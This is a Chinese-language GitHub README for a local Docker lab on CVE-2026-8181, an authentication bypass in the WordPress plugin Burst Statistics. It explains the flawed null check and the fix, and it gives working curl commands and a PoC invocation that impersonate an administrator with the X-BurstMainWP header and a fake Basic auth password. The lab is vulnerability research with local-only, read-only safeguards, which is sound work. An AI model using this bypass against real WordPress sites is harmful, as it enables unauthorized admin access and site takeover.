rootdirective-sec/CVE-2026-8181-Lab

GitHub: rootdirective-sec/CVE-2026-8181-Lab

这是一个用于CVE-2026-8181漏洞研究的Docker实验环境,演示WordPress插件Burst Statistics的身份验证绕过问题。

Stars: 0 | Forks: 0

# CVE-2026-8181 — Burst Statistics 身份验证绕过实验 这是一个用于 **CVE-2026-8181** 的仅限本地 Docker 实验环境,该漏洞是 WordPress 插件 **Burst Statistics – Privacy-Friendly WordPress Analytics** 中的一个身份验证绕过漏洞。 本实验通过对比存在漏洞的插件版本与已修复的版本,并使用一个最低危害性的概念验证脚本来证明差异,期间不会创建用户、上传文件或修改 WordPress 状态。 ## 概要 **受影响插件:** Burst Statistics – Privacy-Friendly WordPress Analytics **受影响版本:** `3.4.0` 至 `3.4.1.1` **修复版本:** `3.4.2` **漏洞类型:** 身份验证绕过 / 不当身份验证 **影响:** 如果知道有效的管理员用户名,未经身份验证的攻击者可以在 REST API 请求期间冒充管理员。 在本实验中: * `vuln` 运行 Burst Statistics `3.4.1.1` * `patched` 运行 Burst Statistics `3.4.2` * 概念验证脚本发送一个伪造的 Basic 身份验证密码,并附带 `X-BurstMainWP: 1` 头 * 存在漏洞的服务将请求视为管理员 * 已修复的服务拒绝相同的请求 ## 实验架构 | 服务 | 描述 | URL | | ------------ | -------------------------------------- | ----------------------- | | `vuln` | WordPress + Burst Statistics `3.4.1.1` | `http://127.0.0.1:8081` | | `patched` | WordPress + Burst Statistics `3.4.2` | `http://127.0.0.1:8082` | | `db_vuln` | 用于存在漏洞 WordPress 的 MySQL | 仅内部访问 | | `db_patched` | 用于修复后 WordPress 的 MySQL | 仅内部访问 | | `seed` | 一次性 WP-CLI 初始化容器 | 仅内部访问 | `seed` 服务会安装 WordPress,创建实验管理员,并在两个环境中激活 Burst Statistics。 实验管理员用户名: ``` labadmin ``` 概念验证脚本故意使用错误的密码来证明绕过效果。 ## 根本原因 Burst Statistics 包含一个与 MainWP 相关的代理身份验证路径。当 REST API 请求包含以下头信息时: ``` X-BurstMainWP: 1 ``` Burst 会将身份验证委托给 `MainWP_Proxy::is_mainwp_authenticated()`。 在存在漏洞的版本中,该函数读取攻击者可控的 Basic 身份验证凭据,提取用户名和密码,并将它们传递给 WordPress 核心: ``` $is_valid = wp_authenticate_application_password( null, $username, $password ); ``` 问题出在返回值检查上。 ### 漏洞逻辑:`3.4.1.1` 简化自 `includes/Frontend/class-mainwp-proxy.php`: ``` $is_valid = wp_authenticate_application_password( null, $username, $password ); if ( is_wp_error( $is_valid ) ) { return false; } $user = get_user_by( 'login', $username ); if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) { return false; } wp_set_current_user( $user->ID ); return true; ``` 存在漏洞的代码仅拒绝 `WP_Error`。然而,当身份验证实际上未成功时,`wp_authenticate_application_password()` 可能返回 `null` 或其他非用户对象值。由于 `null` 不是 `WP_Error`,检查通过。 之后,插件查找提供的用户名并调用: ``` wp_set_current_user( $user->ID ); ``` 这使 WordPress 将当前的 REST API 请求视为该用户。如果用户名属于管理员,那么在请求的剩余部分中,WordPress 的能力检查会看到一个管理员。 ## 修复逻辑 修复后的版本通过要求一个真实的已认证用户对象才能继续执行,从而修复了身份验证检查。 ### 修复后的逻辑:`3.4.2` 从概念上讲,修复是: ``` $authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] ); remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 ); if ( ! $authenticated_user instanceof \WP_User ) { return false; } ``` 重要的变化是,仅仅“非错误”的返回值已经不够了。身份验证结果必须是一个实际的 `\WP_User` 对象。 这阻止了存在漏洞的路径,即 `null` 绕过了旧的 `is_wp_error()` 检查。 ## 为何重要 该实验演示了一个只读证明,使用了: ``` /wp/v2/users/me?context=edit ``` 该端点足以显示 WordPress 是否认为该请求已通过身份验证。 现实世界的影响可能高于此实验证明。如果攻击者能在 REST API 请求期间冒充管理员,他们可能能够访问有权限的 WordPress 端点。在常见的 WordPress 配置中,管理员权限可以通过创建账户、应用密码、安装插件、修改主题或其他管理操作导致网站被持久接管。 本仓库有意避免了这些破坏性路径。 ## 运行 ``` docker compose up -d --build ``` 等待一次性种子服务完成: ``` docker compose logs seed ``` 预期的种子输出: ``` [+] vuln: Burst Statistics version = 3.4.1.1 [+] patched: Burst Statistics version = 3.4.2 [+] Seed complete ``` 安装 Python 依赖: ``` python3 -m venv .venv source .venv/bin/activate pip install requests ``` 针对存在漏洞的服务运行概念验证: ``` python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin ``` 预期的漏洞结果: ``` === baseline without bypass headers === status: 401 === with X-BurstMainWP + fake Basic password === status: 200 roles: ["administrator"] [+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context. ``` 针对已修复的服务运行相同的概念验证: ``` python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin ``` 预期的修复结果: ``` === baseline without bypass headers === status: 401 === with X-BurstMainWP + fake Basic password === status: 401 [+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request. ``` ## 手动测试 生成一个伪造的 Basic 身份验证令牌: ``` TOKEN=$(printf 'labadmin:not-the-real-password' | base64) ``` ### 存在漏洞的服务 不带绕过头的基准请求: ``` curl -sS -i \ 'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit' ``` 预期: ``` HTTP/1.1 401 Unauthorized rest_not_logged_in ``` 绕过尝试: ``` curl -sS -i \ -H 'X-BurstMainWP: 1' \ -H "Authorization: Basic $TOKEN" \ 'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit' ``` 预期: ``` HTTP/1.1 200 OK "slug":"labadmin" "roles":["administrator"] ``` ### 已修复的服务 针对已修复的服务运行相同的绕过尝试: ``` curl -sS -i \ -H 'X-BurstMainWP: 1' \ -H "Authorization: Basic $TOKEN" \ 'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit' ``` 预期: ``` HTTP/1.1 401 Unauthorized rest_not_logged_in ``` ## 服务器端证据 存在漏洞的服务清楚地展示了行为变化: ``` GET /?rest_route=/wp/v2/users/me&context=edit 401 GET /?rest_route=/wp/v2/users/me&context=edit 200 ``` 已修复的服务拒绝未认证请求和绕过尝试: ``` GET /?rest_route=/wp/v2/users/me&context=edit 401 GET /?rest_route=/wp/v2/users/me&context=edit 401 ``` ## 安全说明 此概念验证脚本有意做到最低危害: * 不创建管理员账户 * 不创建应用密码 * 不上传插件 * 不修改主题 * 不执行命令 * 不产生持久状态更改 * 概念验证脚本中设有仅限本地主机的防护 请仅在您自己的本地 Docker 环境中使用此实验。 ## 参考资料 * NVD — CVE-2026-8181: [https://nvd.nist.gov/vuln/detail/CVE-2026-8181](https://nvd.nist.gov/vuln/detail/CVE-2026-8181) * Wordfence 技术分析: [https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/](https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/) * 存在漏洞的源代码参考,Burst Statistics 3.4.1.1: [https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php) * 修复后的源代码参考,Burst Statistics 主干 / 3.4.2 路径: [https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php](https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php) * 管理员辅助程序入口点: [https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php](https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php)
标签:Burst Statistics, CVE-2026-8181, Docker实验室, Maven, MySQL数据库, REST API, WordPress安全, WordPress插件, 基本认证, 安全PoC, 安全测试, 情报收集, 插件漏洞, 操作系统监控, 攻击性安全, 文件完整性监控, 未认证攻击, 概念证明, 漏洞研究, 漏洞验证, 版本对比, 管理员权限, 网络安全, 认证绕过, 请求拦截, 逆向工具, 隐私保护